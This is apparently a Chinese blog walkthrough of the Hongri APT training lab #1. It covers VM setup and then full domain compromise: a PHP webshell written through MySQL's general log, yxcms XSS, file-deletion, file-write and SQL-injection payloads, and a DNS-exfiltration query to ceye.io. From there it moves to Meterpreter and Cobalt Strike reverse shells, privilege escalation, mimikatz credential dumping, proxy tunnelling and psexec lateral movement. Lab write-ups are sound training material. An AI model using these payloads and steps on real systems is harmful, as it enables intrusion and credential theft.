前言:
红日靶场是由红日安全团队搭建的APT实战靶场,相比于春秋云境里的一些靶场会基础一点,做春秋云境靶场的同时也打打红日靶场。(更新中)
红日靶场1
环境搭建
首先要下载
官方:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ (但是现在好像打不开了)
百度网盘: https://pan.baidu.com/s/1gxn5bKLKcZZM1pVxMENwkA?pwd=jnb3 提取码: jnb3
下载后解压压缩包
- win7 vm1 web服务器
- win2003 vm2 域成员
- server08 vm3 域控
三台机子密码均为:hongrisec@2019,进入后可能要更改密码:g173****1957@(字母加数字加@的组合)
配置虚拟机网络
win7配置
win7连接着外网和内网,需要两个网卡
第一个网卡选择——VMwear1(仅主机模式)->用于内网
第二个网卡选择——net模式->用于外网
在vm中打开文件夹里的vmx文件
第一个网卡
第二个网卡
配置完后打开进入(需要重启一次),打开phpstudy中,apache和MySQL服务
win2003配置
配置网卡
server2008配置
配置网卡
kali配置
配置网卡
测试
win7
VMnet1:192.168.52.143
NAT模式:192.168.222.128
win2003
VMnet1:192.168.52.141
server2008
VMnet1:192.168.52.138
互相ping一下发现都可以Ping的通,配置完毕
接下来就开始正式渗透
外网
信息搜集
扫描C段
1 | arp-scan -l |
arp-scan
:用于扫描本地网络中活动主机的工具。
扫描win7端口
1 | nmap -sS -sV 192.168.222.128 |
访问web端,是一个phpinfo界面
dirsearch扫描网站根目录(这里直接用kali里面的,windows的dirsearch应该是权限问题无法扫描)
可以发现phpMyAdmin,访问
phpMyAdmin
mysql写入日志
弱口令root/root登录
先试试能不能写入文件
1 | SELECT @@global.secure_file_priv; |
可以发现不行那么试试写入日志
首先查看系统变量,通用查询日志是否开启
1 | SHOW VARIABLES LIKE 'general%'; |
发现是关闭的,那么将其设置为ON
1 | SET GLOBAL general_log = "ON" |
更改的查询日志文件的路径为自己木马文件的位置
1 | SET GLOBAL general_log_file='C:\\phpStudy\\www\\1.php' |
写入一句话木马
1 | select"<?php @eval($_POST[1]);?>"; |
用蚁剑连接
发现除了phpMyAdmin还有一个yxcms,访问看看
yxcms
既然是cms那么就搜索一下有哪些漏洞
后台弱口令
前台留言板xss
在留言本写入xss的payload
登录后台,审核留言时会触发存储型xss
任意文件删除
GET:index.php?r=admin/photo/delpic
POST:picname=../../protected/apps/install/install.lock
返回首页可以发现要重新安装了,install.lock 被删了
任意文件写入
访问/index.php?r=admin/set/tpadd&Mname=default
,写入一句话木马
访问/yxcms/protected/apps/default/view/default/1.php
,也可以用蚁剑连接(因为我已经连上了就简单演示一下)
SQL注入
访问/index.php?r=admin/fragment/index
新增一个,再删除(注意要点下面的删除)
用bp抓包,将内容复制到1.txt用sqlmap发现存在sql注入(后续操作就不演示了)
还可以用payload上传到ceye查看(但是我自己试没成功就是了)
1 | 1 and if((select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'))),1,1))--+ |
内网
信息搜集
查看局域网
1 | ipconfig |
上传fscan.exe进行扫描(因为是win7与新版本兼容会有问题,所以我用的是1.8.0版本的)
整理一下
内网渗透
先查看当前权限为Administrator,并不是最高权限System
那么我们先提权
测试win7能不能出网
接下来打法有两种
第一种:基于msf
提权
那么说明可以用反向连接的方式,用msf生成木马程序
1 | //启动 |
将生成的1.exe拖到蚁剑里运行,出先meterpreter对话即得到反弹回来的shell
但是当前的权限还是Administrator
提权(这里是Administrator可以直接提权到System,如果是更低级的用户需要其他手段)
1 | getsystem |
获取用户密码
kiwi(导入mimikatz也会被替换为kiwi)
1 | load kiwi |
但是会发现爆不出密码,因为kiwi默认是32位的系统,而win7是64位的系统,不兼容,所以我们需要将meterpreter模块迁移到64位的进程中。
查看进程
1 | ps |
找一个user为system的64位进程(PID)
1 | migrate 912 |
再次执行就可以得到密码了(这里的密码我已经自己改过了,在上面有)
横向移动
搭建隧道(msf+proxychains)
创建路由
1 | 创建 |
退出对话,使用socks5进行代理
补充一下几种socks代理的区别
SOCKS4
- 版本:SOCKS 协议的第四版。
- 支持的地址类型:SOCKS4 只支持 IPv4 地址。
- 身份验证:SOCKS4 不支持身份验证,任何人都可以使用代理服务器。
- DNS 解析:SOCKS4 不支持 DNS 解析。客户端必须在连接代理服务器之前解析域名。
- UDP 支持:SOCKS4 不支持 UDP 流量。
SOCKS4a
- 版本:SOCKS4 的扩展版本。
- 支持的地址类型:SOCKS4a 支持 IPv4 地址,并且可以处理域名。
- 身份验证:SOCKS4a 不支持身份验证,任何人都可以使用代理服务器。
- DNS 解析:SOCKS4a 支持 DNS 解析。客户端可以发送域名,代理服务器会解析域名并建立连接。
- UDP 支持:SOCKS4a 不支持 UDP 流量。
SOCKS5
- 版本:SOCKS 协议的第五版。
- 支持的地址类型:SOCKS5 支持 IPv4 和 IPv6 地址,并且可以处理域名。
- 身份验证:SOCKS5 支持多种身份验证方法,包括无身份验证、GSSAPI 身份验证、用户名/密码身份验证等。
- DNS 解析:SOCKS5 支持 DNS 解析。客户端可以发送域名,代理服务器会解析域名并建立连接。
- UDP 支持:SOCKS5 支持 UDP 流量,允许通过代理服务器传输 UDP 数据包。
1 | background |
设置用户和密码,端口默认的1080就行
1 | show options |
查看是否运行成功
1 | jobs |
打开一个新的窗口,配置proxychains
1 | vim /etc/proxychains4.conf |
全局代理测试
开始攻击
永恒之蓝
1 | proxychains msfconsole |
可能是网络的问题三台机子都没打通
匿名ftp访问
上面用fscan扫出192.168.52.141
存在这个漏洞
1 | ftp 192.168.52.141 |
查看目录里的内容,但是并没有东西
有文件的话可以通过get <文件名>
读取
第二种:基于cs
下载渠道:cobaltstrike汉化版
使用教程:Cobalt Strike
因为目标是win7所以我们还可以用cs来渗透
我这里的server端是在kali打开的,在windows打开的客户端
连接shell
设置监听
生成木马程序
payloads->windwos stager payload
将木马文件上传到蚁剑运行
可以看到cs已经监听到了
扫描内网
在蚁剑用ifconfig
可以看到内网是192.168.52.143
在cs里扫描可以扫出另外两个
提权
获取明文密码
横向移动
搭建隧道(cobaltstrike + proxifer)
配置cobaltstrike
proxifer配置
配置好后就可以访问到192.168.52.143(但是不知道是什么原因只有第一次访问的时候出现了phpinfo界面)
psexec攻击
新建一个监听,设置payload为SMB
上面抓取到了明文密码,随便选取一个进行psexec攻击
Listener设置为刚刚新建的111
开始攻击后,访回列表可以发现已经得到192.168.52.138
的权限
用同样的手法再横向192.168.52.141
即可经对整个域进行控制